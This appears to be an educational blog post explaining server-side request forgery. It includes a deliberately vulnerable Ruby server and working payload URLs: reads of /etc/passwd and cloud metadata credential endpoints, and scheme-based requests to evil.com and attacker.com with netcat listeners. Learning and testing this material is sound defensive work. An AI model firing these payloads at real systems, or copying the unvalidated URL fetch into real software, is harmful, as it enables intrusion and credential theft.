BOOK THIS SPACE FOR AD
ARTICLE ADWelcome to “Vulnerability Vault,” a dedicated series where we unravel the mysteries of cybersecurity vulnerabilities, one byte at a time. Our journey begins with an in-depth exploration of Server-Side Request Forgery (SSRF), a critical vulnerability that has been exploited in the shadows of the digital world.
Foundations First: Understanding the Essentials
Server-side request forgery is a web security vulnerability that allows an attacker to cause the server-side application to make requests to an unintended location.
Typically, an SSRF attack involves the attacker forcing the server to connect to internal services only found in the infrastructure of the company. Other times, they might be able to compel the server to establish a connection with any random external system. Sensitive information, including login credentials, might be exposed in this way.
In simpler words: Attackers ask the server to fetch a URL for his/her behalf
Let’s understand with a example:
GET /?url=http://google.com/ HTTP/1.1Host: example.com
Here, example.com fetch http://google.com from it’s server. To easy understanding, see visuals below:
Basic SSRF — The one which display response back to adversaries
Blind SSRF — The one which doesn’t display responseBasic SSRF —
It display response back to attacker, so once the server fetches the URL with payload made by attacker, it will send response back to adversaries
Setting up the local environment to set it up: (Idea from: Jobert’s post)
For the sake of this blog post, let’s assume we have a server that runs on the following Ruby code:To install following package, use gem install sinatra open-uri uri#ruby version ruby 3.1.2p20
require 'sinatra'
require 'open-uri'
get '/' do
# Ensure the URL parameter is provided
return "No URL provided" unless params[:url]
url = params[:url]
# Use `URI.open` for Ruby versions where `Kernel#open` is considered unsafe or deprecated
response = URI.open(url).read
format 'RESPONSE: %s', response
end
To run this code locally, store it as server.rb, run gem install sinatra, followed by ruby server.rb. You can then play around with it at http://localhost:4567/. Do NOT run this on anything other than a local loopback interface, this leads to command execution.
When it opens the location entered in the url parameters irrespective of files, URL. For example:
https://localhost:4567/?url=filename — It will open up the file, be it a local or system.Exploring the Capabilities of SSRF
SSRF to Reflected XSSURL schemas to read internal and make server perform action(file:/// , dict:// , ftp:// , gopher:// ..)Scan for internal networks and portsOn cloud instances, go for Meta — Data
SSRF to Reflected XSS —
Simply fetch a file from external sites which has malicious payload with the content type served as html
https://localhost:4567/?url=http://brutelogic.com.br/poc.svgThis will load the content of poc.svg which returns the XSS code embedded in SVG. If you need to learn more on XSS using SVG, here is the Portswigger link
Testing URL Schemas —
When testing for SSRF, the foremost task is to test all the wrapper to know which are working. Wrappers are:
file:///dict://
sftp://
ldap://
tftp://
gopher://
Understanding each wrappers:
file:// -This is used to fetch file from the file system.http://example.com/ssrf.php?url=file:///etc/passwd
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini
If the server blocks the request to external network or have whitelisting in places, we can use other URL schemas to make a request
dict:// —Dict URL scheme is used to refer to definitions or word lists available using the DICT protocol:http://example.com/ssrf.php?dict://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 31126)
CLIENT libcurl 7.40.0
SFTP stands for SSH File Transfer Protocol, or Secure File Transfer Protocol, is a separate protocol packaged with SSH that works in a similar way over a secure connection.http://example.com/ssrf.php?url=sftp://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 37146)
SSH-2.0-libssh2_1.4.2
LDAP stands for Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service.http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquittftp://
Trivial File Transfer Protocol is a simple lockstep File Transfer Protocol which allows a client to get a file from or put a file onto a remote hosthttp://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port 1337)
TESTUDPPACKEToctettsize0blksize512timeout3
Gopher, is a distributed document delivery service. It allows users to explore, search and retrieve information residing on different locations in a seamless fashion.http://example.com/ssrf.php?url=http://attacker.com/gopher.php
gopher.php (host it on acttacker.com):-
<?php
header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');
?>
evil.com:# nc -lvp 1337
Listening on [0.0.0.0] (family 0, port 1337)
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 49398)
Hi
Testing for SSRF
Scan for internal networks and ports —
What if the application have some servers running in their network such as Kibana, Elastic Search, MangoDB which are inaccessible to external internet due to protective measure, be it firewall or so.
Attackers runs a internal IP and port scan to understand more about the target’s infrastructure for further exploitation.
To do so, you can use one of many ways mentioned below:
https://localhost:4567/?url=http://127.0.0.1:[portnumber]#You can use intruder, or script to reitrerate all the major ports to get the response
Sometimes it can escalate to Remote Code Execution from normal SSRF.
SSRF in Cloud Instances —
Amazon:If you happen to find an SSRF in application hosted on Amazon Cloud, Amazon exposes an internal services every EC2 instances can query for instance metadata about the host. In that case, try requesting:http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE_HERE
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
Mentioned above URLs will reveal sensitive information about the instances such as AWS keys, SSH keys and IAM Roles and many more.
To demonstrate this, lets use flaws.cloud designed for learning vulnerabilities exploitation in Cloud — AWS:
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/[INJECTION PAYLOAD]http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/Google Cloud:
The concept goes same for the google cloud, but the URL are different, mentioned below:http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json
For other cloud instances, please find the link here